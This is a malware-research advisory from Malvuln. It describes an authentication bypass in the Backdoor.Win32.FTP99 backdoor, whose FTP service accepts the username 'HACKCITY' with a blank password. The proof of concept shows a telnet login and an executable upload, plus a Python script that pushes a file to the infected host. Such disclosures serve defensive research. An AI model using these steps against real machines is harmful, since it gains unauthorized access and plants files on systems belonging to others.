Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/09dd14d3988e08a56798b1480c55a5b0.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.FTP99 Vulnerability: Authentication Bypass Race Condition Description: The malware listens on TCP port 1492. Credentials are stored in cleartext in "Serv-u.ini" file under "C:\Program Files (x86)\My Paquet archive" with a blank password. Third-party attackers who can reach the system before a password has been set can logon by just supplying the username "HACKCITY". "Serv-u.ini" [USER=hackcity] Password= HomeDir=c:\ AlwaysAllowLogin=YES Type: PE32 MD5: 09dd14d3988e08a56798b1480c55a5b0 Vuln ID: MVID-2022-0465 Dropped files: Windll16.exe Disclosure: 01/24/2022 Exploit/PoC: telnet.exe x.x.x.x 1492 220-Serv-U FTP-Server v2.3b for WinSock ready... 220 0wn3d 230 User HACKCITY logged in HELP 214- The following commands are recognized (* => unimplemented). USER PORT RETR ALLO DELE SITE XMKD CDUP PASS PASV STOR REST CWD STAT RMD XCUP ACCT TYPE APPE RNFR XCWD HELP XRMD STOU REIN STRU SMNT RNTO LIST NOOP PWD SIZE QUIT MODE SYST ABOR NLST MKD XPWD MDTM 214 Serv-U, registered to: Data Case SYST 215 UNIX Type: L8 PASV 227 Entering Passive Mode (192,168,18,129,206,190) STOR DOOM.exe 150 Opening ASCII mode data connection for DOOM.exe. STOR DOOM.exe 226 Transfer complete - file DOOM.exe received successfully from socket import * MALWARE_HOST="192.168.18.129" PORT=52926 DOOM="DOOM.exe" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).